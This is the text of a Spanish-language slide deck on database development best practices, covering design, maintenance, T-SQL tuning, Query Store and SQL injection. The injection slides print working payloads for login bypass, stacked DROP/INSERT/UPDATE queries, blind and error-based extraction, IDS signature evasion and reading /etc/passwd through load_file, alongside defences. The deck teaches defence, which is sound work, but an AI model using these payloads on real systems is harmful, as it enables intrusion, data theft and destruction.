SlideShare una empresa de Scribd logo
1 de 70
Mejores prácticas
Desarrollo de Base de
Datos
Ing. Eduardo Castro, PhD
Ing. Eduardo Castro, PhD
PASS Board of Directors
eduardo.castro@sqlpass.org
Microsoft Data Platform MVP
Microsoft Data Science Specialization
Johns Hopkins University Data Science Specialization
Data mining and forecast Specialization
Referencias
• Conferencia de Socios de TI. Mike Shermanmsherman@mit.edu
Ciclo de vida de aplicaciones de base de datos
• Planificación de la base de datos
• Definición del sistema
• Recopilación y análisis de requerimientos
• Diseño de base de datos
• Diseño de aplicaciones
• Pruebas
• Implementación
• Mantenimiento operativo
El trabajo adelantado vale la pena despues!
• Identificar la necesidad a ser resuelta por la aplicación.
• Determinar si / cómo la nueva aplicación se integrará con los
sistemas departamentales e institutos existentes.
• Identificar los requisitos de administración y usuarios.
Consejos de diseño de base de datos
• Elija el DBMS y las herramientas de desarrollo
• Los estándares de nomenclatura
• Utilizar los identificadores únicos
• Claves significativas o no significativas?
• Minimizar la redundancia de datos
• Garantizar la integridad de datos / datos existente
apalancamiento
Consideraciones de diseño adicionales
• Seguridad de las aplicaciones
• Información delicada
• Se alimenta o se conecta de los sistemas de la empresa
• Aprovechando el almacén de datos
Mantenimiento de base de datos
Consejos
• Documentación, documentación, documentación
• Las copias de seguridad - Hot vs Cold
• Indices
• Monitoreo - Archivos de registro, Rendimiento
¿Qué es la inyección de SQL?
• Técnica de inyección
• La vulnerabilidad de seguridad
• Se dirige a los manipuladores de entrada del
usuario
9
¿Qué es la inyección de SQL?
La capacidad de inyectar comandos SQL en el
motor de base de
a través de una aplicación existente
10
¿Qué tan común es?
• Es probable que sea la vulnerabilidad de web más común hoy en día!
• Es un defecto en el desarrollo de "aplicaciones web",
que no es un problema en el servidor Web o DB
• La mayoría de los programadores no son conscientes de este problema
• Una gran cantidad de los tutoriales y "plantillas" de demostración son vulnerables
• Lo que es peor, una gran cantidad de soluciones publicadas en Internet no son lo
suficientemente buenos
• En nuestras pruebas de penetración más del 50% de nuestros clientes
llegar a ser vulnerables a la inyección de SQL http://sqlmap.org/
11
Aplicaciones vulnerables
• Casi todas las bases de datos SQL y lenguajes de programación son
potencialmente vulnerables
• MS SQL Server, Oracle, MySQL, PostgreSQL, DB2, MS Access, Sybase, Informix, etc.
• Acceder a través de las aplicaciones desarrolladas usando:
• scripts de Perl y CGI que acceden a bases de datos
• ASP, JSP, PHP
• XML, XSL y XSQL
• javascript
• VB, MFC, y otras herramientas y API basadas en ODBC
• DB aplicaciones basadas en Web específicas y API
Los ejemplos del mundo real
• El 17 de agosto de 2009, el Departamento de Justicia de Estados
Unidos acusó a un ciudadano estadounidense Albert González y
dos rusos no identificados con el robo de 130 millones de números
de tarjetas de crédito utilizando un ataque de inyección SQL.
• En 2008 una serie de ataques comenzó la explotación de las
vulnerabilidades de inyección SQL de servidor de servidor web IIS
y la base de datos SQL de Microsoft. Más de 500.000 sitios fueron
explotadas.
sintaxis importante
COMMENTS: --
Example: SELECT * FROM `table` --selects everything
LOGIC: ‘a’=‘a’
Example: SELECT * FROM `table` WHERE ‘a’=‘a’
MULTI STATEMENTS: S1; S2
Example: SELECT * FROM `table`; DROP TABLE `table`;
Ejemplo Sitio Web
Ejemplo Sitio Web
timbo317
cse7330
SELECT * FROM `login` WHERE `user`=‘timbo317’ AND `pass`=‘cse7330’
Login Tabla de base de datos
usuario contrasena
timbo317 cse7330
¿¿Qué puede salir mal??
Ejemplo Hack
'O' a '=' a
'O' a '=' a
SELECT * FROM `login` WHERE `user`=‘’ OR ‘a’=‘a’ AND
`pass`=‘’ OR ‘a’=‘a’
¡Se pone peor!
'; DROP TABLE `login`; -
SELECT * FROM `login` WHERE `user`=‘’; DROP TABLE `login`; --’ AND
`pass`=‘’
Todas las consultas son posibles
SELECT * FROM `login` WHERE `user`=‘’; INSERT INTO `login`
('user','pass') VALUES ('haxor','whatever');--’ AND `pass`=‘’
SELECT * FROM `login` WHERE `user`=‘’; UPDATE `login` SET
`pass`=‘pass123’ WHERE `user`=‘timbo317’;--’ AND `pass`=‘’
Demostración en vivo
• http://crackme.cenzic.com/kelev/view/loanrequest.php
¿Cómo se puede evitar que esto ??
Prevención
• Lógica para permitir que sólo los números / letras en nombre de
usuario y contraseña.
• ¿Cómo se debe imponer la restricción?
LADO DEL SERVIDOR.
• "escapar" caracteres malos.
'Se convierte en '
• READ ONLY acceso a la base de datos.
• Recuerda que esto no es sólo para las zonas de inicio de sesión!
No sólo para los sitios web !!
24
La inyección a través de String
formusr = ' or 1=1 – –
formpwd = anything
Final query would look like this:
SELECT * FROM users
WHERE username = ' ' or 1=1
– – AND password = 'anything'
25
El poder de '
• Se cierra el parámetro de cadena
• Todo después se considera parte del comando SQL
• Engañosas sugerencias de Internet incluyen:
• Escapar de ella! : sustituir' con ''
• campos de cadena son muy comunes, pero hay otros tipos de
campos:
• Numérico
• fechas
26
Si se tratara de números?
SELECT * FROM clients
WHERE account = 12345678
AND pin = 1111
PHP/MySQL login syntax
$sql = "SELECT * FROM clients WHERE " .
"account = $formacct AND " .
"pin = $formpin";
27
La inyección de campos numéricos
$formacct = 1 or 1=1 #
$formpin = 1111
Final query would look like this:
SELECT * FROM clients
WHERE account = 1 or 1=1
# AND pin = 1111
28
Caracteres de inyección SQL
• ' o " Indicadores Cadena de caracteres
• - o # comentario de una sola línea
• / *...* / comentario de varias líneas
• + Además, concatenar (o espacio en url)
• || (Tubería doble) concatenar
• % indicador de atributo comodín
• ? Param1 = foo = bar y Param2 Parámetros de URL
• IMPRESIÓN útil como comando no transaccional
• @variable variable local
• @@variable variable global
• waitfor retraso "0: 0: 10 ' tiempo de retardo
Metodología
30
Metodología del probar inyección SQL
1) de validación de entrada
2) Información. Reunión
6) OS Cmd Prompt
7) Ampliar Influencia
4) Extracción de Datos
3) 1 = 1 Ataques 5) Interacción OS
31
1) de validación de entrada
2) Información. Reunión
3) 1 = 1 Ataques 5) Interacción OS
6) OS Cmd Prompt4) Extracción de Datos
7) Ampliar Influencia
1) de validación de entrada
32
Descubrimiento de vulnerabilidades
• Las vulnerabilidades pueden estar en cualquier lugar, comprobamos todos
los puntos de entrada:
• Los campos en los formularios web
• Los parámetros de script en las cadenas de consulta URL
• Los valores almacenados en las cookies o campos ocultos
• Por "fuzzing" insertamos en cada uno:
• secuencia de caracteres: ' ") # || +>
• palabras reservadas de SQL con delimitadores de espacio en blanco
• % 09select (lengüeta09%, Retorno de carro% 13, linea de alimentación% 10 y el espacio% 32 con
y, o, actualizar, insertar, exec, Etc)
• Delay query 'Waitfor retraso "0: 0: 10' -
33
2) Recopilación de información
2) Información. Reunión
3) 1 = 1 Ataques 5) Interacción OS
6) OS Cmd Prompt4) Extracción de Datos
7) Ampliar Influencia
1) de validación de entrada
34
2) Recopilación de información
• Vamos a tratar de averiguar lo siguiente:
a) Mecanismos de salida
b) Comprender la consulta
c) Determinar el tipo de base de datos
d) Encontrar el nivel de privilegios del usuario
e) Determinar el nivel de interacción OS
35
a) Identificación de mecanismos de salida
1. El uso de conjuntos de resultados de consulta en la aplicación web
2. Error de mensajes
• Craft consultas SQL que generan determinados tipos de mensajes de error con
valiosa información en ellas
3. Ciego de inyección SQL
• Utilizar retardos de tiempo o firmas de error para determinar la información
de extracto
• Casi las mismas cosas se pueden hacer, pero es inyección oculta mucho más
lento y más difícil
4. otros mecanismos
• correo electrónico, SMB, FTP, TFTP
36
La extracción de información a través de mensajes
de error
• La agrupación de error
' group by columnnames having 1=1 - -
• No coinciden los tipos
• ' union select 1,1,'text',1,1,1 - -
• ' union select 1,1, bigint,1,1,1 - -
• Dónde 'texto' o bigint están siendo unidos en una int columna
• En DBs que permiten subconsultas, una mejor manera es:
• ' and 1 in (select 'text' ) - -
• En algunos casos es posible que tengamos a CAST o convertir
nuestros datos para generar los mensajes de error
37
Inyección ciega
• Podemos utilizar diferentes resultados conocidos
• ' and condition and '1'='1
• O podemos utilizar sentencias if
• '; if condition waitfor delay '0:0:5' --
• '; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;
• Además, podemos ejecutar todo tipo de consultas, pero sin
información de depuración!
• Obtenemos sí / no sólo respuestas
• Podemos extraer ASCII un poco a la vez ...
• Muy ruidoso y consume mucho tiempo, pero es posible con herramientas
automatizadas como Squeal
Técnicas de evasión
39
Técnicas de evasión
• Las técnicas de validación y técnicas de evasión de IDS son muy
similares
• Detección basado en la inyección de SQL es parcialmente posible,
pero depende de "firmas"
• Las firmas pueden ser fácilmente evadidas
• validación de entrada, detección de IDS y fuerte base de datos y
sistema operativo endurecimiento se tienen que acoplar
40
IDS Evasion Firma
Evading ' OR 1=1 signature
• ' OR 'unusual' = 'unusual'
• ' OR 'something' = 'some'+'thing'
• ' OR 'text' = N'text'
• ' OR 'something' like 'some%'
• ' OR 2 > 1
• ' OR 'text' > 't'
• ' OR 'whatever' IN ('whatever')
• ' OR 2 BETWEEN 1 AND 3
41
validación de entradas
• Algunas personas usan addslashes () de PHP para escapar
caracteres
• una frase (')
• comillas dobles ( ")
• barra inversa ()
• NUL (el byte NULL)
• Esto puede ser fácilmente eludido mediante el uso de sustitutos
para cualquiera de los caracteres anteriores en un campo numérico
42
La evasión y la elusión
• IDS y la validación de entrada pueden ser eludidas mediante la
codificación
• Algunas formas de los parámetros de codificación
• la codificación URL
• Unicode / UTF-8
• Enconding hex
• la función char ()
43
MySQL validación de entrada elusión usando Char
()
• Inject without quotes (string = "%"):
• ' or username like char(37);
• Inject without quotes (string = "root"):
• ' union select * from users where login = char(114,111,111,116);
• Load files in unions (string = "/etc/passwd"):
• ' union select 1,
(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
• Check for existing files (string = "n.ext"):
• ' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
44
IDS Evasion Firma utilizando espacios en blanco
• UNION SELECT firma es diferente a
• UNION SELECT
• Tab, carriage return, linefeed or several white spaces
may be used
• Quitar los espacios podría funcionar aún mejor
• 'OR'1' = '1' (Sin espacios) se interpreta correctamente por algunas de las bases
de datos SQL más amigables
45
IDS Evasion Firma usando los comentarios
• Algunos IDS no son engañados por los espacios en blanco
• La utilización de comentarios es la mejor alternativa
• / * ... * / se utiliza en SQL99 para delimitar varias filas comentarios
• UNION/**/SELECT/**/
• '/**/OR/**/1/**/=/**/1
• Esto también permite difundir la inyección a través de varios campos
• USERNAME: ' or 1/*
• PASSWORD: */ =1 --
46
IDS Evasion firma mediante la concatenación de
cadenas
• En MySQL es posible separar las instrucciones con comentarios
• UNI/**/ON SEL/**/ECT
• O bien, puede concatenar texto y utilizar una instrucción específica
para ejecutar DB
• Oracle
• '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
• MS SQL
• '; EXEC ('SEL' + 'ECT US' + 'ER')
La defensa contra la inyección
de SQL
49
Defensa de inyección SQL
• Es muy sencillo: validación de entradas
• El verdadero desafío es hacer las mejores prácticas consistentes a
través todas tu codigo
• Hacer cumplir "diseño fuerte" en nuevas aplicaciones
• Debe auditar sus sitios web existentes y el código fuente
• Incluso si usted tiene un diseño hermético, endurecer sus
servidores
50
Diseño fuerte
• Definir un camino fácil "seguro" para la consulta de datos
• Utilizar procedimientos almacenados para interactuar con la base de datos
• Llamar a los procedimientos almacenados a través de una API parametrizada
• Validar todas las entradas a través de rutinas genéricas
• Utilice el principio de "menor privilegio"
• Definir varias funciones, una para cada tipo de consulta
51
Validación de entrada
• Definir los tipos de datos para cada campo
• Aplicar estrictas "permitir que solo buenos" filtros
• Si la entrada se supone que debe ser numérico, utilice una variable numérica en el
script para almacenarlo
• Rechazar una entrada incorrecta en lugar de intentar escapar o modificarla
• Aplicar estrictas "malos conocidos" filtros
• Por ejemplo: rechazar "select", "insert", "update", "shutdown", "delete", "drop", "--", "'"
52
Harden el servidor
1. DB ejecutar como una cuenta de usuario con privilegios bajos
2. Retire los procedimientos almacenados no utilizados y
funcionalidad o restringir el acceso a los administradores
3. Cambiar permisos y eliminar el acceso "público" para los objetos
del sistema
4. Auditoría de la contraseña para todas las cuentas de usuario
5. Retirar los servidores vinculados preautenticada
6. Retire protocolos de red no utilizados
7. Cortafuegos el servidor para que los clientes sólo de confianza
pueden conectarse a él (por lo general sólo: red administrativa, el
servidor web y el servidor de copia de seguridad)
53
Detección y disuasión
• Es posible que desee para reaccionar a los intentos de inyección
SQL por:
• Registro de los intentos
• Envío de alertas de correo electrónico
• El bloqueo de la IP infractora
• El envío de mensajes de error de vuelta de intimidación:
• "ADVERTENCIA:. El uso indebido de esta aplicación se ha detectado Se identificó
un posible ataque se tomarán acciones legales.".
• Consulte con sus abogados para redacción adecuada
• Esto debe ser codificada en las secuencias de comandos de
validación
Análisis de rendimiento de T-SQL y puesta a punto
DB es
demasiado
lento
algo está roto
Tiempos
de espera
extraño
comportamient
o
aplicación se bloquea
El enfoque
• ¿Donde empezar?
• ¿Qué herramientas utilizar?
• Cómo identificar pesado T-SQL?
Analizador de SQL Server y
Las huellas de SQL
ReadTrace (Utilidad RML) - línea de
comando
SQL Server Management Studio
• sp_who2 y dbcc inputbuffer (<SPID>)
• Guiones
Herramientas – SQL Server
DTA
DMV y estadísticas
Monitor de actividad de SQL Server
Herramientas - SQL Server (2)
PSSDiag
SQLDiag y PerfStats
SQL Nexus
Herramientas - SQL Server (3)
Panel de rendimiento
Herramientas - SQL Server (4)
Análisis de rendimiento de
Registros (PAL)
herramientas de otros fabricantes 3-rd
El análisis T-SQL retroactiva antes de SQL Server
2016 ...
Vistas de administración dinámica (DMV)
• Aclarado de caché cuando:
• A mano
• SQL Server se reinicia
• Las estadísticas se actualizan
• presión de memoria
• ...
Ejemplo DMV - sys.dm_exec_query_plan
Los planes de ejecución
• Planes de consulta para los lotes
almacenados en caché o están
ejecutando
• sin control de versiones
• No hay historial
Así que para obtener el plan de ejecución correcta
La solución incluye:
• código T-SQL re-escritura
• Ejemplo: el uso #tmp
• sugerencias de consulta
• Las guías de plan
• Estadística
• índices
• sp_configure ajustes
• ...
Así que para obtener historial de planes de
ejecución ...
• Utilice el software de monitorización del rendimiento
• Los planes de ejecución de todas las consultas
• Mantenga la historia
• Utilizar secuencias de comandos para capturar la historia del DMV
• Las huellas de SQL
• ...
Nueva "característica" - Consulta tienda ...
¿Nuevo enfoque?
Community Technology Preview (CTP)
Mejores prácticas
https://msdn.microsoft.com/en-
CA/library/mt604821.aspx#Configure
• Utilice últimas SSMS
• Utilizar Query Performance Insight Base de datos
SQL Azure
• Mantenga Consulta tienda ajustar a su carga de
trabajo
• tamaño máximo
• intervalo de recolección
• Período de retención (por consulta y en general)
Buenas Prácticas (2)
• Consulta verificar tienda está
recopilando datos de consulta
continuamente
• cambio de modo silencioso
• Evitar el uso de consultas con
parámetros para no
• Para evitar recompilaciones
frecuentes
No consultas parametrizadas
• Parametrizar consultas en su caso, por ejemplo, envolver las consultas dentro de un
procedimiento almacenado.
• Utilizar el Optimizar para cargas de trabajo Ad Hoc opción si su carga de trabajo
contiene muchos lotes ad-hoc de un solo uso con diferentes planes de consulta.
• Comparar el número de distinta query_hash valores con el número total de entradas en
sys.query_store_query. Si la relación es cercana a 1 su carga de trabajo ad-hoc genera diferentes
consultas.
• Aplicar la parametrización forzada, para la base de datos o para un subconjunto de
consultas si el número de diferentes planes de ejecución no es muy grande.
• Utilice la guía de plan para forzar la parametrización sólo para la consulta seleccionada.
• Configurar la parametrización forzada de la base de datos, si hay un pequeño número de
diferentes planes de consulta en su carga de trabajo. (Cuando la relación entre el recuento de
distintaquery_hash y el número total de entradas en sys.query_store_query es mucho menor que
1.)
• Selecciona el Modo de captura consulta AUTO para filtrar automáticamente las
consultas ad hoc con el pequeño consumo de recursos.
Buenas Prácticas (3)
• Evitar la recreación de
procedimiento almacenado,
función, y el gatillo o cambiar el
nombre de bases de datos
• Comprobar el estado de los
planes habitualmente forzados
71
Conclusión
• Inyección SQL es una vulnerabilidad fascinante y peligroso
• Todos los lenguajes de programación y todas las bases de datos
SQL son potencialmente vulnerables
• La protección contra ella requiere
• diseño fuerte
• la validación de entrada correcta
• endurecimiento

Más contenido relacionado

La actualidad más candente

Programación MySQL-Ejercicios
Programación MySQL-EjerciciosProgramación MySQL-Ejercicios
Programación MySQL-Ejerciciostestgrupocomex
 
Técnicas para la Obtención de Requerimientos
Técnicas para la Obtención de RequerimientosTécnicas para la Obtención de Requerimientos
Técnicas para la Obtención de RequerimientosJuan Carlos Olivares Rojas
 
Consideraciones para elegir un buen DBMS
Consideraciones para elegir un buen DBMSConsideraciones para elegir un buen DBMS
Consideraciones para elegir un buen DBMSevavivez
 
Reingenieria
ReingenieriaReingenieria
ReingenieriaAnel Sosa
 
Modelo requisitos UML
Modelo requisitos UMLModelo requisitos UML
Modelo requisitos UMLramirezjaime
 
Comparacion de Gestores de Base de Datos
Comparacion de Gestores de Base de DatosComparacion de Gestores de Base de Datos
Comparacion de Gestores de Base de DatosVictor Zevallos
 
Requerimientos software test
Requerimientos software testRequerimientos software test
Requerimientos software testkalita20
 
Características, componentes y arquitectura de los dbms.
Características, componentes y arquitectura de los dbms.Características, componentes y arquitectura de los dbms.
Características, componentes y arquitectura de los dbms.Julicamargo
 
Programacion de base de datos - Unidad 1: Conexion a la base de datos con un ...
Programacion de base de datos - Unidad 1: Conexion a la base de datos con un ...Programacion de base de datos - Unidad 1: Conexion a la base de datos con un ...
Programacion de base de datos - Unidad 1: Conexion a la base de datos con un ...José Antonio Sandoval Acosta
 
Metodología rup final
Metodología rup finalMetodología rup final
Metodología rup finalMariaC7
 
Sistemas Gestores de Base de Datos
Sistemas Gestores de Base de DatosSistemas Gestores de Base de Datos
Sistemas Gestores de Base de DatosJorge Luis Chalén
 
Instalacion de un (SGBD)sistema gestor de base de datos.
Instalacion de un (SGBD)sistema gestor de base de datos.Instalacion de un (SGBD)sistema gestor de base de datos.
Instalacion de un (SGBD)sistema gestor de base de datos.SergioLopez467
 
Ingenieria de requerimientos
Ingenieria de requerimientosIngenieria de requerimientos
Ingenieria de requerimientosTensor
 
Análisis y diseño de sistemas estructurado
Análisis y diseño de sistemas estructuradoAnálisis y diseño de sistemas estructurado
Análisis y diseño de sistemas estructuradojr_palaciosg
 

La actualidad más candente (20)

Programación MySQL-Ejercicios
Programación MySQL-EjerciciosProgramación MySQL-Ejercicios
Programación MySQL-Ejercicios
 
Técnicas para la Obtención de Requerimientos
Técnicas para la Obtención de RequerimientosTécnicas para la Obtención de Requerimientos
Técnicas para la Obtención de Requerimientos
 
Consideraciones para elegir un buen DBMS
Consideraciones para elegir un buen DBMSConsideraciones para elegir un buen DBMS
Consideraciones para elegir un buen DBMS
 
Reingenieria
ReingenieriaReingenieria
Reingenieria
 
Herramientas CASE
Herramientas CASEHerramientas CASE
Herramientas CASE
 
Conceptos basicos
Conceptos basicosConceptos basicos
Conceptos basicos
 
Herramientas case
Herramientas caseHerramientas case
Herramientas case
 
Modelo requisitos UML
Modelo requisitos UMLModelo requisitos UML
Modelo requisitos UML
 
Comparacion de Gestores de Base de Datos
Comparacion de Gestores de Base de DatosComparacion de Gestores de Base de Datos
Comparacion de Gestores de Base de Datos
 
Ingenieria de software
Ingenieria de softwareIngenieria de software
Ingenieria de software
 
Funciones del DBA, SA Y DA
Funciones del DBA, SA Y DAFunciones del DBA, SA Y DA
Funciones del DBA, SA Y DA
 
Requerimientos software test
Requerimientos software testRequerimientos software test
Requerimientos software test
 
Características, componentes y arquitectura de los dbms.
Características, componentes y arquitectura de los dbms.Características, componentes y arquitectura de los dbms.
Características, componentes y arquitectura de los dbms.
 
Programacion de base de datos - Unidad 1: Conexion a la base de datos con un ...
Programacion de base de datos - Unidad 1: Conexion a la base de datos con un ...Programacion de base de datos - Unidad 1: Conexion a la base de datos con un ...
Programacion de base de datos - Unidad 1: Conexion a la base de datos con un ...
 
Taller de Base de Datos - Unidad 7 Conectividad
Taller de Base de Datos - Unidad 7 ConectividadTaller de Base de Datos - Unidad 7 Conectividad
Taller de Base de Datos - Unidad 7 Conectividad
 
Metodología rup final
Metodología rup finalMetodología rup final
Metodología rup final
 
Sistemas Gestores de Base de Datos
Sistemas Gestores de Base de DatosSistemas Gestores de Base de Datos
Sistemas Gestores de Base de Datos
 
Instalacion de un (SGBD)sistema gestor de base de datos.
Instalacion de un (SGBD)sistema gestor de base de datos.Instalacion de un (SGBD)sistema gestor de base de datos.
Instalacion de un (SGBD)sistema gestor de base de datos.
 
Ingenieria de requerimientos
Ingenieria de requerimientosIngenieria de requerimientos
Ingenieria de requerimientos
 
Análisis y diseño de sistemas estructurado
Análisis y diseño de sistemas estructuradoAnálisis y diseño de sistemas estructurado
Análisis y diseño de sistemas estructurado
 

Similar a Mejores prácticas desarrollo de base de datos

Seguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASPSeguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASPMarcos Harasimowicz
 
Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0José Moreno
 
SQL Server rápido y furioso
SQL Server rápido y furiosoSQL Server rápido y furioso
SQL Server rápido y furiosoSpanishPASSVC
 
Hack & beers lleida seguridad en desarrollo fullstack
Hack & beers lleida   seguridad en desarrollo fullstackHack & beers lleida   seguridad en desarrollo fullstack
Hack & beers lleida seguridad en desarrollo fullstackMarc Pàmpols
 
Pentest - El Arte de la Guerra
Pentest - El Arte de la GuerraPentest - El Arte de la Guerra
Pentest - El Arte de la GuerraLuis Cortes Zavala
 
Asegúr@IT 7: Serialized SQL Injection
Asegúr@IT 7: Serialized SQL InjectionAsegúr@IT 7: Serialized SQL Injection
Asegúr@IT 7: Serialized SQL InjectionChema Alonso
 
Buenas prácticas que debes seguir en la administración de tu SQL Server
Buenas prácticas que debes seguir en la administración de tu SQL ServerBuenas prácticas que debes seguir en la administración de tu SQL Server
Buenas prácticas que debes seguir en la administración de tu SQL ServerSolidQ
 
Carbura tusql sesion1_slideshare
Carbura tusql sesion1_slideshareCarbura tusql sesion1_slideshare
Carbura tusql sesion1_slideshareJulián Castiblanco
 
Charla OWASP
Charla OWASPCharla OWASP
Charla OWASPalexav8
 
SQL Saturday 254 10- Cosas que no se deben de hacer en una BD
SQL Saturday 254   10- Cosas que no se deben de hacer en una BDSQL Saturday 254   10- Cosas que no se deben de hacer en una BD
SQL Saturday 254 10- Cosas que no se deben de hacer en una BDAdrian Miranda
 
24 HOP edición Español - Patrones de escalalidad en microsoft azure sql datab...
24 HOP edición Español - Patrones de escalalidad en microsoft azure sql datab...24 HOP edición Español - Patrones de escalalidad en microsoft azure sql datab...
24 HOP edición Español - Patrones de escalalidad en microsoft azure sql datab...SpanishPASSVC
 
SQL Azure Administración, Desempeño y Mantenimiento
SQL Azure Administración, Desempeño y MantenimientoSQL Azure Administración, Desempeño y Mantenimiento
SQL Azure Administración, Desempeño y MantenimientoEduardo Castro
 
Introducción a JOINS, CTE, APPLY y SUBCONSULTAS
Introducción a JOINS, CTE, APPLY y SUBCONSULTASIntroducción a JOINS, CTE, APPLY y SUBCONSULTAS
Introducción a JOINS, CTE, APPLY y SUBCONSULTASJulián Castiblanco
 
Aprendiendo SQL 2
Aprendiendo SQL 2 Aprendiendo SQL 2
Aprendiendo SQL 2 Daniel Cruz
 

Similar a Mejores prácticas desarrollo de base de datos (20)

Seguridad En Programación
Seguridad En ProgramaciónSeguridad En Programación
Seguridad En Programación
 
Seguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASPSeguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASP
 
Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0Seguridad Base de Datos sql injection v1.0
Seguridad Base de Datos sql injection v1.0
 
SQL Server rápido y furioso
SQL Server rápido y furiosoSQL Server rápido y furioso
SQL Server rápido y furioso
 
Hack & beers lleida seguridad en desarrollo fullstack
Hack & beers lleida   seguridad en desarrollo fullstackHack & beers lleida   seguridad en desarrollo fullstack
Hack & beers lleida seguridad en desarrollo fullstack
 
Pentest - El Arte de la Guerra
Pentest - El Arte de la GuerraPentest - El Arte de la Guerra
Pentest - El Arte de la Guerra
 
(25/02) Desarrollador@S Invita - Introducción y novedades de SQL Server 2008
(25/02) Desarrollador@S Invita - Introducción y novedades de SQL Server 2008(25/02) Desarrollador@S Invita - Introducción y novedades de SQL Server 2008
(25/02) Desarrollador@S Invita - Introducción y novedades de SQL Server 2008
 
Asegúr@IT 7: Serialized SQL Injection
Asegúr@IT 7: Serialized SQL InjectionAsegúr@IT 7: Serialized SQL Injection
Asegúr@IT 7: Serialized SQL Injection
 
Buenas prácticas que debes seguir en la administración de tu SQL Server
Buenas prácticas que debes seguir en la administración de tu SQL ServerBuenas prácticas que debes seguir en la administración de tu SQL Server
Buenas prácticas que debes seguir en la administración de tu SQL Server
 
Carbura tusql sesion1_slideshare
Carbura tusql sesion1_slideshareCarbura tusql sesion1_slideshare
Carbura tusql sesion1_slideshare
 
sesion 01_sql basico.pdf
sesion 01_sql basico.pdfsesion 01_sql basico.pdf
sesion 01_sql basico.pdf
 
Charla OWASP
Charla OWASPCharla OWASP
Charla OWASP
 
SQL Saturday 254 10- Cosas que no se deben de hacer en una BD
SQL Saturday 254   10- Cosas que no se deben de hacer en una BDSQL Saturday 254   10- Cosas que no se deben de hacer en una BD
SQL Saturday 254 10- Cosas que no se deben de hacer en una BD
 
(In) seguridad web
(In) seguridad web(In) seguridad web
(In) seguridad web
 
data_collection-es.pptx
data_collection-es.pptxdata_collection-es.pptx
data_collection-es.pptx
 
24 HOP edición Español - Patrones de escalalidad en microsoft azure sql datab...
24 HOP edición Español - Patrones de escalalidad en microsoft azure sql datab...24 HOP edición Español - Patrones de escalalidad en microsoft azure sql datab...
24 HOP edición Español - Patrones de escalalidad en microsoft azure sql datab...
 
OWASP Meeting. Tratamiento de Datos
OWASP Meeting. Tratamiento de DatosOWASP Meeting. Tratamiento de Datos
OWASP Meeting. Tratamiento de Datos
 
SQL Azure Administración, Desempeño y Mantenimiento
SQL Azure Administración, Desempeño y MantenimientoSQL Azure Administración, Desempeño y Mantenimiento
SQL Azure Administración, Desempeño y Mantenimiento
 
Introducción a JOINS, CTE, APPLY y SUBCONSULTAS
Introducción a JOINS, CTE, APPLY y SUBCONSULTASIntroducción a JOINS, CTE, APPLY y SUBCONSULTAS
Introducción a JOINS, CTE, APPLY y SUBCONSULTAS
 
Aprendiendo SQL 2
Aprendiendo SQL 2 Aprendiendo SQL 2
Aprendiendo SQL 2
 

Más de Eduardo Castro

Introducción a polybase en SQL Server
Introducción a polybase en SQL ServerIntroducción a polybase en SQL Server
Introducción a polybase en SQL ServerEduardo Castro
 
Creando tu primer ambiente de AI en Azure ML y SQL Server
Creando tu primer ambiente de AI en Azure ML y SQL ServerCreando tu primer ambiente de AI en Azure ML y SQL Server
Creando tu primer ambiente de AI en Azure ML y SQL ServerEduardo Castro
 
Seguridad en SQL Azure
Seguridad en SQL AzureSeguridad en SQL Azure
Seguridad en SQL AzureEduardo Castro
 
Azure Synapse Analytics MLflow
Azure Synapse Analytics MLflowAzure Synapse Analytics MLflow
Azure Synapse Analytics MLflowEduardo Castro
 
SQL Server 2019 con Windows Server 2022
SQL Server 2019 con Windows Server 2022SQL Server 2019 con Windows Server 2022
SQL Server 2019 con Windows Server 2022Eduardo Castro
 
Novedades en SQL Server 2022
Novedades en SQL Server 2022Novedades en SQL Server 2022
Novedades en SQL Server 2022Eduardo Castro
 
Introduccion a SQL Server 2022
Introduccion a SQL Server 2022Introduccion a SQL Server 2022
Introduccion a SQL Server 2022Eduardo Castro
 
Machine Learning con Azure Managed Instance
Machine Learning con Azure Managed InstanceMachine Learning con Azure Managed Instance
Machine Learning con Azure Managed InstanceEduardo Castro
 
Novedades en sql server 2022
Novedades en sql server 2022Novedades en sql server 2022
Novedades en sql server 2022Eduardo Castro
 
Sql server 2019 con windows server 2022
Sql server 2019 con windows server 2022Sql server 2019 con windows server 2022
Sql server 2019 con windows server 2022Eduardo Castro
 
Introduccion a databricks
Introduccion a databricksIntroduccion a databricks
Introduccion a databricksEduardo Castro
 
Pronosticos con sql server
Pronosticos con sql serverPronosticos con sql server
Pronosticos con sql serverEduardo Castro
 
Data warehouse con azure synapse analytics
Data warehouse con azure synapse analyticsData warehouse con azure synapse analytics
Data warehouse con azure synapse analyticsEduardo Castro
 
Que hay de nuevo en el Azure Data Lake Storage Gen2
Que hay de nuevo en el Azure Data Lake Storage Gen2Que hay de nuevo en el Azure Data Lake Storage Gen2
Que hay de nuevo en el Azure Data Lake Storage Gen2Eduardo Castro
 
Introduccion a Azure Synapse Analytics
Introduccion a Azure Synapse AnalyticsIntroduccion a Azure Synapse Analytics
Introduccion a Azure Synapse AnalyticsEduardo Castro
 
Seguridad de SQL Database en Azure
Seguridad de SQL Database en AzureSeguridad de SQL Database en Azure
Seguridad de SQL Database en AzureEduardo Castro
 
Python dentro de SQL Server
Python dentro de SQL ServerPython dentro de SQL Server
Python dentro de SQL ServerEduardo Castro
 
Servicios Cognitivos de de Microsoft
Servicios Cognitivos de de Microsoft Servicios Cognitivos de de Microsoft
Servicios Cognitivos de de Microsoft Eduardo Castro
 
Script de paso a paso de configuración de Secure Enclaves
Script de paso a paso de configuración de Secure EnclavesScript de paso a paso de configuración de Secure Enclaves
Script de paso a paso de configuración de Secure EnclavesEduardo Castro
 
Introducción a conceptos de SQL Server Secure Enclaves
Introducción a conceptos de SQL Server Secure EnclavesIntroducción a conceptos de SQL Server Secure Enclaves
Introducción a conceptos de SQL Server Secure EnclavesEduardo Castro
 

Más de Eduardo Castro (20)

Introducción a polybase en SQL Server
